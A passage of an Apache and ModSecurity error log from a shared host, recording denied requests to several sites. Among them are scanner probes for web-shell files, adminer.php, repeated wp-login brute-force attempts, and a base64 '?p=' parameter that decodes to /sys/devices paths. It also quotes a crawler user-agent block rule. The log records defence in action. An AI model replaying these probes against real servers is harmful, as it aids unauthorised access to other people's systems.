https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:24:38.817623 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:24:38.874753 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.105:40896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:38.875016 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.105:40896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:38.904049 2026] [security2:error] [pid 646876:tid 647105] [client 185.199.157.20:44011] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "krosscorp.us"] [uri "/"] [unique_id "ai30xtyTkdrNlD40tSHapQAAAGE"] [Sat Jun 13 18:24:38.970785 2026] [security2:error] [pid 715691:tid 715824] [remote 17.246.23.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xrV-dFiaX9AtWiQucQABEnE"] [Sat Jun 13 18:24:38.982811 2026] [security2:error] [pid 646876:tid 646978] [remote 17.241.227.196:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 196.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30xtyTkdrNlD40tSHaqQAAOmM"] [Sat Jun 13 18:24:39.332060 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:24:39.332382 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:24:39.524731 2026] [security2:error] [pid 715691:tid 715948] [client 185.199.157.18:30647] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-content/plugins/wordpress-seo/wp-seo-main-float.php"] [unique_id "ai30x7V-dFiaX9AtWiQuegAAAXU"] [Sat Jun 13 18:24:39.847658 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:39.847944 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:24:39.954994 2026] [access_compat:error] [pid 715691:tid 715802] [remote 57.141.14.40:58726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:39.955468 2026] [access_compat:error] [pid 715691:tid 715802] [remote 57.141.14.40:58726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:40.035154 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.112:39300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:40.035587 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.112:39300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:40.111770 2026] [security2:error] [pid 715691:tid 715891] [client 159.223.112.69:59750] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yLV-dFiaX9AtWiQumwAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:40.121348 2026] [security2:error] [pid 715691:tid 715859] [client 185.199.157.18:48077] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/storage/framework/views/shell.php"] [unique_id "ai30yLV-dFiaX9AtWiQunAAAARw"] [Sat Jun 13 18:24:40.247132 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.104:52842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:40.247575 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.104:52842] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:40.291016 2026] [access_compat:error] [pid 646876:tid 646911] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:40.291273 2026] [access_compat:error] [pid 646876:tid 646911] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:40.330168 2026] [security2:error] [pid 715691:tid 715900] [client 159.223.112.69:59760] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yLV-dFiaX9AtWiQupgAAAUU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:40.381427 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:24:40.381866 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:24:40.553676 2026] [security2:error] [pid 715691:tid 715937] [client 159.223.112.69:59764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yLV-dFiaX9AtWiQutAAAAWo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:40.602260 2026] [security2:error] [pid 646876:tid 646889] [remote 17.246.19.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30yNyTkdrNlD40tSHa2QAAYwo"] [Sat Jun 13 18:24:40.683003 2026] [security2:error] [pid 646876:tid 646880] [remote 216.73.216.182:54908] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai30yNyTkdrNlD40tSHa3AAAKwE"], referer: https://homs.co.ke/?action=adminer&p=Ly9zeXMvbW9kdWxlL3Zob3N0X2lvdGxi [Sat Jun 13 18:24:40.694648 2026] [access_compat:error] [pid 646876:tid 646967] [remote 57.141.14.5:33445] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:40.695119 2026] [access_compat:error] [pid 646876:tid 646967] [remote 57.141.14.5:33445] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:40.726926 2026] [security2:error] [pid 646876:tid 647126] [client 34.66.224.20:55460] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.224.66.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai30yNyTkdrNlD40tSHa4AAAAHY"] [Sat Jun 13 18:24:40.771565 2026] [security2:error] [pid 715691:tid 715843] [client 159.223.112.69:59766] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yLV-dFiaX9AtWiQuuQAAAQw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:40.791076 2026] [security2:error] [pid 715691:tid 715865] [client 185.199.157.17:52963] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/3PJcpMFsD8B.php"] [unique_id "ai30yLV-dFiaX9AtWiQuuAAAASI"] [Sat Jun 13 18:24:40.866510 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:24:40.866978 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:24:40.994443 2026] [security2:error] [pid 646876:tid 647019] [client 159.223.112.69:59780] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30yNyTkdrNlD40tSHa6QAAAAs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:41.214527 2026] [security2:error] [pid 715691:tid 715936] [client 159.223.112.69:59792] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30ybV-dFiaX9AtWiQuxgAAAWk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:41.225553 2026] [security2:error] [pid 715691:tid 715818] [remote 17.246.15.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ybV-dFiaX9AtWiQuxwABD2s"] [Sat Jun 13 18:24:41.406769 2026] [security2:error] [pid 646876:tid 646939] [remote 5.175.167.71:56788] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mirandacustomsbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30ydyTkdrNlD40tSHa9QAAVjw"] [Sat Jun 13 18:24:41.406958 2026] [security2:error] [pid 646876:tid 647094] [client 5.175.167.71:56788] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mirandacustomsbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30ydyTkdrNlD40tSHa9QAAVjw"] [Sat Jun 13 18:24:41.433455 2026] [security2:error] [pid 646876:tid 647066] [client 159.223.112.69:59800] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30ydyTkdrNlD40tSHa-QAAADo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:41.439219 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:24:41.439660 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:24:41.463962 2026] [security2:error] [pid 646876:tid 647021] [client 185.199.157.16:47459] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/4PJcpMFsD8B.php"] [unique_id "ai30ydyTkdrNlD40tSHa9wAAAA0"] [Sat Jun 13 18:24:41.630578 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.36:55882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:41.630901 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.36:55882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:41.653091 2026] [security2:error] [pid 715691:tid 715928] [client 114.119.137.67:62717] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.coldroomrental.com.au"] [uri "/gallery/"] [unique_id "ai30ybV-dFiaX9AtWiQu1wAAAWE"], referer: https://www.coldroomrental.com.au/about-us/ [Sat Jun 13 18:24:41.653877 2026] [security2:error] [pid 715691:tid 715855] [client 159.223.112.69:59804] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file 